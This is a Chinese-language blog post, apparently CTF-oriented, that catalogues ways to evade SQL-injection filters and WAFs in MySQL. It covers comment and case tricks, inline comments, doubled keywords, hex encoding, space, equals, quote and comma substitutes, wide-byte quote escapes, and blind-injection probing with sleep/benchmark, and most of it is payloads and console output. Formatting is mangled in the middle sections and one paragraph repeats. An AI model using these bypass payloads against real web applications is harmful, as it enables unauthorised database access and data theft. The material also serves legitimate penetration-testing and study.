sql注入过滤绕过方法

作者: hxf981224 分类: 未分类 发布时间: 2019-10-15 18:30

sql注入绕过方法总结

注释符号绕过

常用的注释符内容有

 -- 注释内容
 # 注释内容
 /*注释内容*/
 ;

实例

 mysql> select * from users -- where id = 1;
    -> ;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 | 2 | user2   | pass1   |
 mysql> select * from users # where id = 2;
    -> ;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 | 2 | user2   | pass1   |
 mysql> select * from users where id = 3 /*+1*/
    -> ;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 3 | test3   | pass1   |
 +----+----------+----------+
 1 row in set (0.00 sec)

大小写绕过

常用于 waf的正则对大小写不敏感的情况,一般都是题目自己故意这样设计。 例如:waf过滤了关键字select,可以尝试使用Select等绕过。

 mysql> select * from users where id = -1 union select 1,2,3
    -> ;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | 2       | 3       |
 +----+----------+----------+
 1 row in set (0.00 sec)
 ​
 #大小写绕过
 mysql> select * from users where id = -1 union Select 1,2,3;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | 2       | 3       |
 +----+----------+----------+
 ​

内联注释绕过

内联注释就是把一些特有的仅在MYSQL上的语句放在 /*!...*/ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中会执行。

 mysql> select * from users where id = -1 union /*!select*/ 1,2,3;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | 2       | 3       |
 +----+----------+----------+

双写关键字绕过

在某一些简单的waf中,将关键字select等只使用replace()函数置换为空,这时候可以使用双写关键字绕过。例如select变成seleselectct,在经过waf的处理之后又变成select,达到绕过的要求。

特殊编码绕过

  • 十六进制绕过
 mysql> select * from users where username = 0x7465737431;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+
 ​

ascii编码绕过 Test 等价于 CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116) tip:好像新版mysql不能用了

空格过滤绕过

一般绕过空格过滤的方法有以下几种方法来取代空格

 /**/
 ()
 回车(url编码中的%0a)
 `(tap键上面的按钮)
 tap
 两个空格

实例

 mysql> select/**/*/**/from/**/users;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 | 2 | user2   | pass1   |
 | 3 | test3   | pass1   |
 +----+----------+----------+
 #注意括号中不能含有*
 mysql> select(id)from(users);
 +----+
 | id |
 +----+
 | 1 |
 | 3 |
 ​
 mysql> select
    -> *
    -> from
    -> users
    -> where
    -> id = 1;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+
 ​
 mysql> select`id`from`users`where`id`=1;
 +----+
 | id |
 +----+
 | 1 |
 +----+

过滤or and xor not 绕过

 and = &&
 or = ||
 xor = | # 异或
 not = !

过滤等号=绕过

  • 不加通配符like执行的效果和=一致,所以可以用来绕过。

正常加上通配符的like

 mysql> select * from users where username like "test%";
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 | 3 | test3   | pass1   |
 +----+----------+----------+

不加上通配符的like可以用来取代=

 mysql> select * from users where id like 1;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+

rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来 用来取代=时,rlike的用法和上面的like一样,没有通配符效果和=一样

 mysql> select * from users where id rlike 1;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+

regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

 mysql> select * from users where id regexp 1;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+

使用大小于号来绕过

 mysql> select * from users where id > 1 and id < 3;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 2 | user2   | pass1   |
 +----+----------+----------+

<> 等价于 != 所以在前面再加一个!结果就是等号了

 mysql> select * from users where !(id <> 1);
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+
 1 row in set (0.00 sec)
 ​
 mysql> select * from users where id = 1;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+
 1 row in set (0.00 sec)

等号绕过也可以使用strcmp(str1,str2)函数、between关键字等

过滤大小于号绕过

在sql盲注中,一般使用大小于号来判断ascii码值的大小来达到爆破的效果。但是如果过滤了大小于号的话,那就凉凉。怎么会呢,可以使用以下的关键字来绕过

  • greatest(n1, n2, n3…):返回n中的最大值
 mysql> select * from users where id = 1 and greatest(ascii(substr(username,1,1)),1)=116;
 +----+----------+----------+
 | id | username | password |
 +----+----------+----------+
 | 1 | test1   | pass     |
 +----+----------+----------+
  • least(n1,n2,n3…):返回n中的最小值
  • strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1 mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117);
     +—-+———-+———-+
     | id | username | password |
     +—-+———-+———-+
     | 1 | test1   | pass     |
     +—-+———-+———-+
     1 row in set (0.00 sec)
     ​
     mysql> select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),116);
     Empty set (0.00 sec)
     ​in关键字 mysql> select * from users where id = 1 and substr(username,1,1) in (‘t’);
     +—-+———-+———-+
     | id | username | password |
     +—-+———-+———-+
     | 1 | test1   | pass     |
     +—-+———-+———-+
     1 row in set (0.01 sec)
     ​
     mysql> select * from users where id = 1 and substr(username,1,1) in (‘y’);
     Empty set (0.00 sec)
     ​between a and b:范围在a-b之间 mysql> select * from users where id between 1 and 2;
     +—-+———-+———-+
     | id | username | password |
     +—-+———-+———-+
     | 1 | test1   | pass     |
     | 2 | user2   | pass1   |
     +—-+———-+———-+
     2 rows in set (0.00 sec)
     ​
     mysql> select * from users where id = 1 and substr(username,1,1) between ‘a’ and ‘b’;
     Empty set (0.00 sec)
     ​
     mysql> select * from users where id = 1 and substr(username,1,1) between ‘a’ and ‘t’;
     +—-+———-+———-+
     | id | username | password |
     +—-+———-+———-+
     | 1 | test1   | pass     |
     +—-+———-+———-+
     1 row in set (0.00 sec)
     ​使用between a and b判等 mysql> select * from users where id = 1 and substr(username,1,1) between ‘t’ and ‘t’;
     +—-+———-+———-+
     | id | username | password |
     +—-+———-+———-+
     | 1 | test1   | pass     |
     +—-+———-+———-+过滤引号绕过
    • 使用十六进制
    •  select column_name from information_schema.tables where table_name=0x7573657273;
    • 宽字节
    • 常用在web应用使用的字符集为GBK时,并且过滤了引号,就可以试试宽字节。 # 过滤单引号时
       %bf%27 %df%27 %aa%27 %df\’ = %df%5c%27=縗’过滤逗号绕过 sql盲注时常用到以下的函数:substr() substr(string, pos, len):从pos开始,取长度为len的子串 substr(string, pos):从pos开始,取到string的最后 substring() 用法和substr()一样 mid() 用法和substr()一样,但是mid()是为了向下兼容VB6.0,已经过时,以上的几个函数的pos都是从1开始的 left()和right() left(string, len)和right(string, len):分别是从左或从右取string中长度为len的子串 limit limit pos len:在返回项中从pos开始去len个返回值,pos的从0开始 ascii()和char() ascii(char):把char这个字符转为ascii码 char(ascii_int):和ascii()的作用相反,将ascii码转字符 回到正题,如果waf过滤了逗号,并且只能盲注(盲注基本离不开逗号啊喂),在取子串的几个函数中,有一个替代逗号的方法就是使用from pos for len,其中pos代表从pos个开始读取len长度的子串 例如在substr()等函数中,常规的写法是
 mysql> select substr("string",1,3);
 +----------------------+
 | substr("string",1,3) |
 +----------------------+
 | str                 |
 +----------------------+
 ​

如果过滤了逗号,可以这样使用from pos for len来取代

 mysql> select substr("string" from 1 for 3);
 +-------------------------------+
 | substr("string" from 1 for 3) |
 +-------------------------------+
 | str                           |
 +-------------------------------+
 1 row in set (0.00 sec)

如果过滤了逗号,可以这样使用from pos for len来取代

 mysql> select substr("string" from 1 for 3);
 +-------------------------------+
 | substr("string" from 1 for 3) |
 +-------------------------------+
 | str                           |
 +-------------------------------+
 1 row in set (0.00 sec)
 ​

在sql盲注中,如果过滤逗号,以下参考下面的写法绕过

 mysql> select ascii(substr(database() from 1 for 1)) > 120;
 +----------------------------------------------+
 | ascii(substr(database() from 1 for 1)) > 120 |
 +----------------------------------------------+
 |                                           0 |
 +----------------------------------------------+
 1 row in set (0.00 sec)
 ​
 mysql> select ascii(substr(database() from 1 for 1)) > 110;
 +----------------------------------------------+
 | ascii(substr(database() from 1 for 1)) > 110 |
 +----------------------------------------------+
 |                                           1 |
 +----------------------------------------------+
  • 也可使用join关键字来绕过 mysql> select * from users union select * from (select 1)a join (select 2)b join(select 3)c;
     +—-+———-+———-+
     | id | username | password |
     +—-+———-+———-+
     | 1 | test1   | pass     |
     | 2 | user2   | pass1   |
     | 3 | test3   | pass1   |
     | 1 | 2       | 3       |
     +—-+———-+———-+其中的 union select * from (select 1)a join (select 2)b join(select 3)c等价于
 union select 1,2,3
  • 使用like关键字 适用于substr()等提取子串的函数中的逗号 mysql> select ascii(substr(user(),1,1))=114;
     +——————————-+
     | ascii(substr(user(),1,1))=114 |
     +——————————-+
     |                             1 |
     +——————————-+
     ​
     mysql> select user() like “r%”;
     +——————+
     | user() like “r%” |
     +——————+
     |               1 |
     +——————+
     ​
     mysql> select user() like “t%”;
     +——————+
     | user() like “t%” |
     +——————+
     |               0 |
     +——————+
    • 使用offset关键字 适用于limit中的逗号被过滤的情况 limit 2,1等价于`limit 1 offset 2`
    •  mysql> select * from users limit 2,1;
       +—-+———-+———-+
       | id | username | password |
       +—-+———-+———-+
       | 3 | test3   | pass1   |
       +—-+———-+———-+
       ​
       mysql> select * from users limit 1 offset 2;
       +—-+———-+———-+
       | id | username | password |
       +—-+———-+———-+
       | 3 | test3   | pass1   |
       +—-+———-+———-+
       ​过滤函数绕过
      • sleep() –>benchmark()
 mysql> select 12,23 and sleep(1);
 +----+-----------------+
 | 12 | 23 and sleep(1) |
 +----+-----------------+
 | 12 |               0 |
 +----+-----------------+
 1 row in set (1.00 sec)
 ​
 # MySQL有一个内置的BENCHMARK()函数,可以测试某些特定操作的执行速度。 
 参数可以是需要执行的次数和表达式。第一个参数是执行次数,第二个执行的表达式
 mysql> select 12,23 and benchmark(1000000000,1);
 +----+--------------------------------+
 | 12 | 23 and benchmark(1000000000,1) |
 +----+--------------------------------+
 | 12 |                             0 |
 +----+--------------------------------+
 1 row in set (4.61 sec)
  • ascii()–>hex()、bin() 替代之后再使用对应的进制转string即可
  • group_concat()–>concat_ws() mysql> select group_concat(“str1″,”str2”);
     +—————————–+
     | group_concat(“str1″,”str2”) |
     +—————————–+
     | str1str2                   |
     +—————————–+
     1 row in set (0.00 sec)
     ​
     #第一个参数为分隔符
     mysql> select concat_ws(“,”,”str1″,”str2″);
     +——————————+
     | concat_ws(“,”,”str1″,”str2″) |
     +——————————+
     | str1,str2                   |
     +——————————+
    • substr(),substring(),mid()可以相互取代, 取子串的函数还有left(),right()
    • user() –> @@user、datadir–>@@datadir
    • ord()–>ascii():这两个函数在处理英文时效果一样,但是处理中文等时不一致。

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表评论

电子邮件地址不会被公开。 必填项已用*标注

标签云